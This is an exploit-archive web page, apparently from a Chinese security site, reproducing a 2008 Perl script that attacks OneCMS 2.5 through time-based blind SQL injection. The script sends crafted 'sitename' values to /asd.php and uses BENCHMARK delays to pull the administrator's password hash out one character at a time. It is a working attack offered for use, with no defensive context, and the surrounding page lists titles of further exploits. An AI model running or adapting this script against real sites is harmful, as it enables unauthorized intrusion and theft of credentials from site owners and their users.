首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OneCMS 2.5 Remote Blind SQL Injection Exploit
来源:http://cod3rz.helloweb.eu 作者:Cod3rZ 发布时间:2008-05-08  
#!/usr/bin/perl
# OneCMS 2.5 Remote Blind SQL Injection Exploit
# Author : Cod3rZ
# Site : http://cod3rz.helloweb.eu
# Site : http://devilsnight.altervista.org
# Usage : perl oc.pl site
# There's many other bugs, find them yourself

use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;

$ua = LWP::UserAgent->new;

$site = $ARGV[0];

if(!$site) { &usage; }
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

sub usage {
print " Usage: perl oc.pl site \n";
print " Ex.: perl oc.pl http://127.0.0.1 \n";
}
sub request {
$var = $_[0];
$start = Time::HiRes::time();
$response = $ua->request(POST $site.'/asd.php',[ sitename => $var, ]);
$response->is_success() || print("$!\n");
$end = Time::HiRes::time();
$time = $end - $start;
return $time
}
sub refresh{
system("cls");
print " -------------------------------------------------\n";
print " OneCMS 2.5 Remote Blind Sql Injection Exploit    \n";
print " Powered by Cod3rZ                                \n";
print " http://cod3rz.helloweb.eu                        \n";
print " -------------------------------------------------\n";
print " Please Wait..                                    \n";
print " Hash : " . $_[3] . "                             \n";
print " -------------------------------------------------\n";
}
for ($i = 1; $i < 33; $i++)
{
  for ($j = 0; $j < 16; $j++)
   {
   $var = "lol'+(SELECT IF ((ASCII( SUBSTRING( `password` , ".$i.", 1 ) ) =".$array[$j]." ) , benchmark( 200000000, CHAR( 0 )),0) FROM onecms_users WHERE `id` =1)+ '', '', '', '', '', '', '', '', '', '')/*";
$time = request($var);
refresh($host,$timedefault,$j,$hash,$time,$i);
if($time > 4)
{
$time = request($var);
refresh($host,$timedefault,$j,$hash,$time,$i);
$hash .= chr($array[$j]);
refresh($host,$timedefault,$j,$hash,$time,$i);
$j=200;
}}

if($i == 1 && !$hash)
{
print " Failed                                           \n";
print " -------------------------------------------------\n";
die();
}
if($i == 32) {
print " Exploit Terminated                               \n";
print " -------------------------------------------------\n ";
system('pause');
}}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Galleristic 1.0 (index.php cat
·rdesktop 1.5.0 iso_recv_msg()
·迅雷本地溢出POC
·RunCMS <= 1.6.1 (msg_image) SQ
·TFTP Server for Windows 1.4 ST
·DeluxeBB <= 1.2 Multiple Remot
·vShare Youtube Clone 2.6 (tid)
·Scout Portal Toolkit <= 1.4.0
·联众世界的游戏大厅主程序GLWorl
·HLDS WebMod 0.48 (rconpass) R
·Microsoft Works 7 WkImgSrv.dll
·Univeral HTTP Image/File Uploa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved